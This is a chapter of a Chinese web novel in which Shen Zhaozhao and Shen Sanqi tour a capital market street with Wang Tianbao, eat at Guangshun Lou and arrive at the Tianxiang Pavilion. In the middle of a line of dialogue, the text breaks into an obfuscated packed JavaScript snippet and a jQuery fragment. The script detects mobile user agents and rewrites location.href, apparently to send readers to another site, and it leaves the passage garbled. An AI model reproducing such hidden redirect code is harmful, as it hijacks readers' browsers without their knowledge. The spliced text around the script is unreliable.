62. 金水街
作品:《我在古代做漂亮饭》 沈昭昭跟着汪天保往前走,前方的视线被黑压压的人头挡得严实。她刚在人堆里勉强挪了几步,就被后头的人推了一下肩膀。
她下意识侧身避让,才发现入口处竟看不到街对侧的景象。
可这街足足有百米宽!
街中央全是来往的马车,清脆的鞭打声、笃笃的马蹄声、谈笑吆喝声全混在一处。让人忍不住感慨一句——这才是靖国的都城!
“三七,跟紧点!”
沈昭昭拉过沈三七的衣袖,在这里走散,还真不好再找人。
沈三七看着周围往来的人,偶尔拿手轻轻挡一挡,防止有人不小心撞到沈昭昭。
好不容易挤进了街内,才能有机会看清完整的门脸。有了铺子分流,街上的人才稍微少些。
沈昭昭和沈三七才跟上了汪天保的脚步,三人一排站着。
沈昭昭抬头望去,街边一溜各色招牌紧挨着,看得人眼晕。她一时不知该看向何处。
“张记绸缎庄、上好的江南料子!松烟斋,专给国子监供笔墨纸砚的!钱记当铺给价公道,有什么好东西去他家准没错……”汪天保的声音飘来,带着几分炫耀,勾得沈昭昭心痒。
想不到古代也有如此好逛的商业街~
“这倒是奇了,有几家店我倒觉得熟悉,仿佛吃过。汪大哥,这长兴楼是不是有炙羊腿卖?”沈三七迟疑地问汪天保,语气中有十分的不确定。
汪天保一挑眉,他本以为沈三七和沈昭昭都是乡下来的没见识的小老板,没想到沈三七却说出了京都贵客们最爱点的炙羊腿,他不禁收起了心中的轻视。
长兴楼的炙羊腿可大有讲究。
他们家的羊肉皆是从西域远道供奉而来,库存本就稀少。寻常时日只有熟客才能提前预订,寻常百姓别说品尝,就连闻一闻味儿都难。
但若是达官贵人办家宴,就另当别论。他们都不必亲自登门,只需遣人吩咐,长兴楼便会派老师傅上门整只现烤,给足主家面子。
汪天保身为丐帮中人,偶尔会帮长兴楼跑腿送货,在后厨待着时,也曾听厨子们闲谈,说起过贵人们家宴上的盛景,自然知晓这炙羊腿的金贵。
所以沈三七这小郎君,到底如何知晓这炙羊腿?
莫不是故意敲打他,沈姑娘其实大有来头?
心中拿不准,汪天保面上却装作自然回道:“沈兄果然是个老吃家!炙羊腿正是长兴楼的招牌,寻常人可尝不到呢~”
沈三七闻言勾了勾唇角,看来他对金水街模糊的记忆并非臆测,他们肯定是找对了地方。
日后来这里打听他的身世线索,或许是条门路。
一旁的沈昭昭却没太听进两人的谈话,她的目光早已被街边一家家餐馆勾了去。
金水街的餐馆不同于寻常的万客茶楼那般亲民,有头有脸的名店大都挂着金字招牌,透着一股生人勿近的富贵气度。
寻常食客要进去需得先掂量掂量自己的钱包,够不够进店消费几个凉菜。
富贵的餐馆中也夹杂着不少平民小店,卖饮子、卤肉酱鸭、包子烙饼的……
这些店面虽其貌不扬,但个个都是有传承的百年老店。它们凭着口口相传的味道,才能在这繁华的金水街屹立不倒。
忽然,谷麦集的招牌出现在沈昭昭眼前。
这不是锦娘买过的点心店吗?
沈昭昭想起枣泥酥的滋味儿,口中不断分泌唾液,她叫住两人:“三七、汪兄,我想谷麦集买些点心!”
汪天保顺着她的目光看向谷麦集,只见店门前早人头攒动,便笑着打趣:“沈姑娘,你瞧这队伍,现在开始排,恐怕还要等上半个时辰,你可愿意?”
闻言,沈昭昭一下没了兴致,这也太久了!
她恋恋不舍地眼巴巴望了一眼店铺里堆满精致点心的攒盒,终究还是按捺住馋意,拉着沈三七的衣袖作势要走。
沈三七看出她想吃,忙道:“要不你们先去,我在这里等?买好了,我再赶上去找你们便是。”
沈昭昭还未及开口应答,几道身影便挤到他俩身边。
定睛一看,竟是几个背着扁担的商贩,他们个个脸上堆着热情的笑,将两人团团围住。
“郎君,给这位姑娘买束花吧?瞧,这多牡丹娇艳得很,配姑娘正合适!”
“姑娘尝尝咱家的青团,现搓现蒸的,软糯香甜,不粘牙~”
“清凉解暑,酸甜可口的冰梅饮子,只要两文钱一碗咯!”
沈昭昭和沈三七一时愣在了原地,不知如何应付这群人。
见状,汪天保连忙上前一步,拿出了大哥的派头,挡在两人身前,大声道:“各位让让,这是我自家兄弟和姑娘,今日还有要事在身,来日再照顾各位的生意!”
他在金水街摸爬滚打,也算小有名气,能卖个脸熟。
众人见是汪天保带来的人,又听他说得客气,便也不再纠缠,一窝蜂地散去了。
沈昭昭这也回过神儿来,要逛街有的是时间,还是先把正事儿办完。
她面向汪天保,迟疑道:“汪兄,你说的铺子在哪里?街上这么多人,生意肯定好做,寸土寸金的地,哪家铺子肯腾出来?”
汪天保却十分淡定,回道:“不急,今日我做东,请二位吃顿饭。吃完饭咱们再去也不迟。”
他本来没准备请客,但沈三七的一番话让他心生疑惑,还想再探探二人的底细。
沈昭昭下意识推辞:“金水街的餐馆应是都不便宜,哪有让汪大哥破费的道理?”
汪天保微微一笑,露出一排黄牙,“沈姑娘多虑了!咱们前面不远处的广顺楼,是家老店,菜做得地道入味,价格却十分公道,一点都不铺张。二位远道而来,咱们又有相熟的朋友,千万别同我客气!”
广顺楼?这是大师傅曾做工的地方!
提了这名字,沈昭昭顿时没了推拒的道理,当即应了下来。
三人顺着人流继续向前,不多时便寻到了广顺楼。此时正值饭点,广顺楼外已站着一排等座的食客。
汪天保熟稔地走上前,径直走到门口跑堂面前,悄悄往他袖中塞了几个铜板,压低声音笑道:“小兄弟,劳烦通融一下,我带两位客人吃顿便饭,不需要雅间,大厅里给安排个位置就行。”
跑堂握住铜板,顿时心领神会,热情招呼道:“汪哥说的哪里话,您可是咱们这儿的贵客,自然要优先安排!里面刚收拾出一桌,三位快请进!”说罢,便引着三人往店内走去。
广顺楼在金水街一众高调的铺子中确实不算打眼,没有夸张的招牌,也没有气派的门面。
偏偏需要人入了门才能看出店的底蕴,沈昭昭打量着广顺楼内,店内并无奢华的装饰,墙面是素雅的白墙,只挂着几幅简单的字画。
堂中整齐摆满了方桌,却几乎座无虚席。
找好位置坐下,汪天保抬手唤来小二,熟门熟路地报出菜名:“小二,点菜!粉蒸肉、醉虾、香椿炒蛋、芙蓉豆腐,再来一壶热茶!”他转头看向沈昭昭与沈三七,笑着解释:“这些都是广顺楼的特色菜,我自作主张先点了这几样,二位看看合不合口味?二位看看食单,还有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253975|190886||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想吃的咱们再添!”
沈昭昭轻轻颔首:“汪兄费心了,客随主便就好。”
嘴上说着,她还是忍不住抬眼瞄了一眼小二递来的食单。
果然,广顺楼的菜色和大师傅做菜的风格如出一辙——传统、经典!
不多时,一道道菜肴便陆续端了上来,粉蒸肉色泽莹润、香气扑鼻,醉虾鲜嫩爽口,香椿炒蛋翠绿鲜香,芙蓉豆腐软嫩顺滑,摆满了小半张桌子。
热气氤氲间,三人也渐渐敞开了话匣子,气氛比先前更显融洽。
酒过三巡,菜过五味,汪天保放下筷子,目光在沈昭昭与沈三七之间转了一圈,似是随口问道:“二位一路同行,瞧着十分相契,莫不是要在京都开家夫妻店?”
沈昭昭轻轻一笑,还是沿用了对外的那套说辞,“我和三七是表兄妹,并非夫妻。”
沈三七忙补充道:“昭昭是老板,我就是个帮忙的。和夫妻店也没两样,自己人做事更放心些。”
汪天保看两人的态度坦然,也懂分寸地没有追问,只继续打探道:“沈兄之前在哪里高就啊?”
“平安村学。桃源县的蔡县令,便是我们村学考出去的!”
沈三七是个读书人?
汪天保的眼中闪过一丝差异。
他眼睛微微一转,心头顿时了然:看来这两人,和桃源县的蔡县令关系匪浅!
先前他便听说,二人来京都的路费都是县里凑的,平白无故有人掏钱资助,这里面定然有猫腻。
若是他们背后靠着蔡县令,那沈三七吃过长兴楼的炙羊腿,倒也说得通了。
他心中已下了定论:两人在京都无人脉,但有油水可捞。
汪天保顺势抿了口茶,才终于切入正题:“那铺子是昨天刚腾出来的,老板的分店亏了钱要填账哩。要不是我在街上消息灵,寻常人哪有机会接手?二位刚巧这个时候来了,说不定这铺子就和你们有缘分!”
肚里有了吃食,心情自然愉悦,沈昭昭对汪天保那张粗糙的脸都看顺眼几分。她也笑眯眯答道:“那就有劳汪大哥带我们去看看了!”
汪天保结了账,出门走路的脚步都虚浮了几分。
一路上,他嚷着下次要带沈昭昭和沈三七去天香阁开开眼界。
“沈姑娘啊,莫说我汪天保吹牛。天香阁是天下第一的馆子,我汪某也是有门路进去过的……”
沈昭昭上一秒还挂着礼貌的微笑听汪天保说话,下一秒,她的脚步直接顿住了。
四面八方的人流明明都在涌动、吵嚷,可她就被钉在原地,再也注意不到一丝多余的声响。
沈三七和汪天保顺着她的目光望过去,话头也戛然而止。
一座楼阁静静伫立。
沈昭昭不由自主抬头望去,只见黑檀木招牌上写着三个熟悉的字——
天香阁!
天香阁与金水街上的其他铺子并未连在一起,中间隔着一道青砖围墙,自成一方天地。
它占地极为广阔,足足有五层高。外墙由红白碧三色砖石砌成,飞檐翘角、雕梁画栋,极尽风雅之能事,各处都透着一股低调的矜贵。
天香阁的隐私性做得极好,外围并无敞开的门庭,外面的游人只能看到一扇紧闭的黑檀木门。
食客大多乘着装饰华丽的马车,从侧门进入。旁人莫说窥探阁内景致,便是连用餐食客的面容,都极难看清。
沈昭昭浑身一颤,她感觉自己和面前的楼阁有着千丝万缕的联系。
她的身体仿佛不受控制般,向那扇厚重的黑檀木门走去。

